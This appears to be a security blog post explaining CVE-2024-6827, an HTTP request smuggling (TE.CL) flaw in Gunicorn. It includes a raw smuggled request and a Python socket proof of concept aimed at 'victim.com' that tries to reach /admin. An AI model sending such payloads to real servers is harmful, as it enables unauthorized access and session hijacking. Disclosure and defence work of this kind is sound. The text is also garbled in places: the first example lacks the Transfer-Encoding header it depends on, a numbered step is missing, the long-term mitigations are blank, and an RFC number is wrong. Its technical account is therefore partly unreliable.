If you’re running Gunicorn version 21.2. or below, it’s time to pay attention. A new vulnerability, CVE-2024-6827, has surfaced, affecting how Gunicorn handles HTTP request headers. This misunderstanding between the HTTP standards and the server’s logic opens your app up to something called TE.CL request smuggling. This can lead to all sorts of threats like cache poisoning, exposing user data, session manipulation, XSS, denial of service, and much more.

In this post, I’ll break down what’s happening, show you some code snippets, and explain how an attacker could exploit this weakness. No jargon, just clear info you need as a developer or sysadmin.

What’s the Bug?

Gunicorn is a popular Python WSGI HTTP server, often placed behind a proxy like Nginx. The trouble comes with how Gunicorn parses HTTP headers, especially the Transfer-Encoding header, which tells the server how to interpret the request body.

This means, a user could send both headers and trick Gunicorn into misreading where a request ends.

A malicious client can craft a “smuggled” HTTP request that Gunicorn and any front proxy (like Nginx) see differently, allowing payloads to slip through undetected.

CL means there’s ALSO a Content-Length: header.

If Gunicorn ignores or mishandles Transfer-Encoding, and only looks at Content-Length, you get misalignment between what Gunicorn and a reverse proxy see.

`

POST / HTTP/1.1

Content-Length: 13

GET /admin HTTP/1.1

`

2. Reverse proxy (Nginx) honors Transfer-Encoding: chunked header, treating everything after the \r\n\r\n as a new request.
3. But vulnerable Gunicorn, if not validating TE, may fall back to Content-Length, considering the first 13 bytes as the body, then misreading the leftover as another HTTP request.
4. The “smuggled” GET request reaches the backend as a separate, valid request—potentially in someone else's session.

Here's a basic socket exploit demonstrating the desync

import socket

host = "victim.com"
port = 80

payload = (
    "POST / HTTP/1.1\r\n"
    "Host: victim.com\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 13\r\n"
    "\r\n"
    "\r\n\r\n"
    "GET /admin HTTP/1.1\r\n"
    "Host: victim.com\r\n"
    "\r\n"
)

sock = socket.create_connection((host, port))
sock.sendall(payload.encode())
print(sock.recv(4096).decode())
sock.close()

SSRF (Server-Side Request Forgery): Force backend systems to connect elsewhere.

Basically, if you rely on Gunicorn to keep frontend and backend traffic straight, you could be in trouble.

Mitigations

Short Term:

Filter out suspicious or malformed requests at the proxy layer.

Long Term:

References

- NVD CVE-2024-6827
- RFC 723 Section 3.3.3: Message Body Length
- PortSwigger Web Security Academy: HTTP request smuggling
- Gunicorn Issue Tracker

Summary

CVE-2024-6827 highlights that even mature web servers like Gunicorn can fall victim to subtle yet devastating bugs when handling HTTP headers. If you’re running Gunicorn 21.2. or lower, patch now, check your request headers, and always deploy safe, modern configurations.

Stay safe, and keep your stack secure!

If you have questions or find this vulnerability in production, let your security team know immediately, and consider reaching out to Gunicorn’s security contacts.

Timeline

Published on: 03/20/2025 10:15:33 UTC